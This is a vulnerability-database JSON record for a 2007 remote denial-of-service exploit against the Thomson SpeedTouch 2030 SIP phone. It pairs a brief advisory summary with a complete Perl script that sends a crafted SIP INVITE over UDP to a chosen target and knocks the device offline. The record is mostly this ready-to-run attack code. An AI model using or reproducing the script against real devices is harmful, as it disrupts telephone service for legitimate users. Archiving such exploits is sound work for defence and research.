DATABASE RESOURCES PRICING ABOUT US

{"lastseen": "2020-04-01T19:04:51", "references": [], "description": "\nThomson SpeedTouch ST 2030 (SIP Phone) - SIP Invite Message Remote Denial of Service", "edition": 1, "reporter": "Humberto J. Abdelnur", "exploitpack": {"type": "dos", "platform": "hardware"}, "published": "2007-08-27T00:00:00", "title": "Thomson SpeedTouch ST 2030 (SIP Phone) - SIP Invite Message Remote Denial of Service", "type": "exploitpack", "enchantments": {"dependencies": {}, "score": {"value": -0.2, "vector": "NONE"}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.2}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2007-08-27T00:00:00", "id": "EXPLOITPACK:F66B25298527F6B9CAEC399B86ECD2C1", "href": "", "viewCount": 4, "sourceData": "source: https://www.securityfocus.com/bid/25446/info\n\nThomson SpeedTouch 2030 is prone to a denial-of-service vulnerability because the device fails to handle specially crafted SIP INVITE messages.\n\nExploiting this issue allows remote attackers to cause the device to stop responding, thus denying service to legitimate users.\n\nThis issue affects Thomas SpeedTouch 2030 firmware 1.52.1; other versions may also be affected. \n\n!/usr/bin/perl\n\n#Vulnerability for Thomson 2030 firmware v1.52.1\n\n#It provokes a DoS in the device. \n\n \n\nuse IO::Socket::INET;\n\ndie \"Usage $0 <dst> <port> <username>\" unless ($ARGV[2]);\n\n \n\n$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],\n\n Proto=>'udp',\n\n PeerAddr=>$ARGV[0]);\n\n \n\n$msg = \"INVITE sip:$ARGV[2]\\@$ARGV[0] SIP/2.0\\r\\nVia:\nSIP/2.0/UDP\\\\192.168.1.2;branch=00\\r\\nFrom: Caripe\n<sip:caripe\\@192.168.1.2>;tag=00\\r\\nTo:\n<sip:$ARGV[2]\\@$ARGV[0]>;tag=00\\r\\nCall-ID: caripe\\@192.168.1.2\\r\\nCSeq: 2\nINVITE\\r\\n\\r\\n\";\n\n$socket->send($msg);", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645580650, "score": 1659814272}, "_internal": {"score_hash": "1d90ecfa7da87d3ec4e5f9f2cd33c180"}}

{}